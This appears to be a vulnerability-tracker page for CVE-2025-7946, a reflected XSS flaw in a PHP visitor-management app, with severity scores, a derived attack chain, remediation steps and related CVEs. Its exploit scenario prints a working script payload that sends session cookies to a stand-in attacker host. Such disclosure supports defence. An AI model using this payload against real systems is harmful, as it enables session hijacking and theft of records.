PHPGurukul Apartment Visitors Management System
CVE-2025-7946
LOW
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconCraft malicious URL with XSS payload
-
DeliveryDeliver link via email or message
-
ExploitVictim clicks link
-
InstallBrowser executes injected script
-
C2Script steals session cookie
-
ExecuteAttacker hijacks user session
-
ImpactAccess or modify visitor records
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | User interaction is required - the victim must be tricked into clicking or visiting a URL containing the malicious payload. The attacker must be able to deliver the crafted URL to a user with access to the /search-visitor.php endpoint. No authentication is required to trigger the reflected XSS, but the victim's browser must support JavaScript execution. The vulnerability exists only in version 1.0; later versions (if released) may contain fixes. The searchdata parameter must be processed by the POST request handler without sanitization. |
| Impact | This vulnerability presents a LOW real-world risk despite its public disclosure and POC availability. CVSS v4.0 rates it 2.1 (problematic severity) with network accessibility but mandatory user interaction (UI:P), no confidentiality impact, and only limited integrity impact (VI:L). EPSS 0.07% (20th percentile) indicates minimal exploitation probability in practice. The limiting factor is user interaction - an attacker must trick a visitor or staff member into clicking a crafted malicious link. The application's limited user base (small organizations managing visitor access) and the typical awareness of security staff reduce practical exploitation likelihood. This is not a zero-day or mass-exploitation risk; however, it remains a valid attack vector for targeted social engineering against specific facilities. |
| Exploit ScenarioDerived | An attacker crafts a malicious URL containing JavaScript payload in the searchdata parameter (e.g., /search-visitor.php?searchdata=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>) and sends it via email or SMS to a receptionist managing the visitor system. When the receptionist clicks the link out of curiosity or perceived legitimacy, the payload executes in their browser, stealing their session cookie and allowing the attacker to impersonate them to access visitor records or modify entries. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Apr 29, 2026
Reflected cross-site scripting (XSS) in PHPGurukul Apartment Visitors Management System 1.0 allows remote attackers to inject malicious scripts via the searchdata parameter in /search-visitor.php. The vulnerability requires user interaction (clicking a malicious link) but enables session hijacking, credential theft, and malware distribution. Publicly available exploit code exists; however, the low EPSS score (0.07%) and minimal scope impact suggest limited real-world exploitation pressure despite public disclosure.
RemediationAI
Upgrade to a patched version if available from PHPGurukul (check phpgurukul.com for updates); no specific patch version number is publicly confirmed at time of analysis. As immediate compensating controls: sanitize and validate the searchdata parameter using htmlspecialchars() or equivalent output encoding before echoing to HTTP responses, implement strict Content Security Policy (CSP) headers to prevent inline script execution, apply input validation whitelisting (only permit alphanumeric and safe characters for search queries), and enable httpOnly and Secure flags on session cookies to prevent JavaScript access. Additionally, restrict access to the visitor management interface by IP whitelist or VPN if the application is internet-facing, and educate staff not to click links from untrusted sources pointing to the application.
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability is a reflected XSS (CWE-79) in a PHP-based visitor management application. The /search-visitor.php endpoint's HTTP POST request handler fails to properly sanitize or validate the searchdata parameter before echoing it back in the HTTP response. This allows an attacker to inject arbitrary HTML and JavaScript that executes in the victim's browser within the context of the application domain. The attack leverages the application's trust in user input without output encoding or Content Security Policy protections, enabling attackers to steal session cookies, perform unauthorized actions as the victim, or redirect to phishing pages.
Know when Apartment Visitors Management System gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
DescriptionCVE.org
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. It has been rated as problematic. This issue affects some unknown processing of the file /search-visitor.php of the component HTTP POST Request Handler. The manipulation of the argument searchdata leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Affected Products (CPE)CVE.org
Apartment Visitor Management System v1.0 is vulnerable to SQL Injection via /avms/index.php. Rated critical severity (CV
A vulnerability was found in SourceCodester Apartment Visitor Management System 1.0. Rated critical severity (CVSS 9.8),
SQL injection vulnerability in PHPGurukul Apartment Visitors Management System (AVMS) v. Rated critical severity (CVSS 9
A vulnerability classified as critical was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium se
A vulnerability, which was classified as critical, has been found in PHPGurukul Apartment Visitors Management System 1.0
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability has been found in PHPGurukul Apartment Visitors Management System 1.0 and classified as critical. Rated
A vulnerability was found in PHPGurukul Apartment Visitors Management System 1.0. Rated medium severity (CVSS 6.9), this
A vulnerability classified as critical was found in projectworlds Apartment Visitors Management System 1.0. Rated medium
A vulnerability was found in SourceCodester Apartment Visitor Management System and classified as critical. Rated critic
A vulnerability has been found in SourceCodester Apartment Visitor Management System 1.0 and classified as problematic.
NVD
CVE.org
EPSS
GitHub
VulDB
Exploit-DB